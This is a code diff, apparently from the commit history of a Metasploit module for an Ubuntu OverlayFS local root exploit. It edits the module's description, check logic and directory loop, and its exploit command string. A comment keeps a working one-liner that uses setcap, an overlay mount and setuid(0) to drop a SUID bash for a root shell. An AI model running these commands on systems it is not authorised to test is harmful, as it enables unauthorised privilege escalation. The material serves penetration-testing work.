@@ -19,7 +19,7 @@ def initialize(info = {})
19
19
changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
20
20
called during ovl_do_setxattr without calling the intermediate safety function
21
21
vfs_setxattr. Ultimatly this module allows for root access to be achieved by
22
- writing setuid capabilities to a file that are not santiized after being unioned
22
+ writing setuid capabilities to a file which are not santiized after being unioned
23
23
with the upper mounted directory.
24
24
} ,
25
25
'License' => MSF_LICENSE ,
@@ -68,13 +68,6 @@ def check
68
68
# Must be Ubuntu
69
69
fail_with ( Failure ::NotVulnerable , "Target is not Ubuntu." ) unless kernel_version =~ /[uU]buntu/
70
70
71
-
72
- unless userns_enabled?
73
- return CheckCode ::Safe "Unprivileged usernamespaces aren't permitted"
74
- end
75
-
76
- vprint_good "Unprivileged usernames are permitted"
77
-
78
71
os = cmd_exec "cat /etc/os-release"
79
72
80
73
# grab codename i.e. Focal Fossa
@@ -110,9 +103,9 @@ def execute_command(cmd, opts = {})
110
103
# Should we make sure directory doesn't already exist?
111
104
112
105
directories . each do |dir |
113
- print_status "Creating directory #{ d } "
114
- cmd_exec "mkdir -p #{ d } "
115
- register_dir_for_cleanup d
106
+ print_status "Creating directory #{ dir } "
107
+ cmd_exec "mkdir -p #{ dir } "
108
+ register_dir_for_cleanup dir
116
109
end
117
110
118
111
@@ -124,7 +117,7 @@ def execute_command(cmd, opts = {})
124
117
125
118
print_status "Starting new namespace, and running exploit..."
126
119
127
- hack = "unshare -rm sh -c \" cap_setuid+eip /tmp/main/low/python3; mount -t overlay overlay -o rw, lowerdir=/tmp/main/low,upperdir=/tmp/main/up,workdir=/tmp/main/work mnt touch mnt/* && /tmp/main/up/python3 -c 'import os;os.setuid(0);os.system(\" chown root:root /tmp/main/low/marv && chmod u+s /tmp/main/low/ marv && /tmp/main/marv\" )\" "
120
+ hack = "unshare -rm sh -c \" setcap cap_setuid+eip /tmp/main/low/python3; mount -t overlay overlay -o rw, lowerdir=/tmp/main/low, upperdir=/tmp/main/up, workdir=/tmp/main/work mnt && touch mnt/* && /tmp/main/up/python3 -c 'import os;os.setuid(0);os.system(\" chown root:root /tmp/main/low/marv && chmod+x /tmp/main/marv && /tmp/main/marv \" )\" "
128
121
129
122
# g1vi original
130
123
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
0 commit comments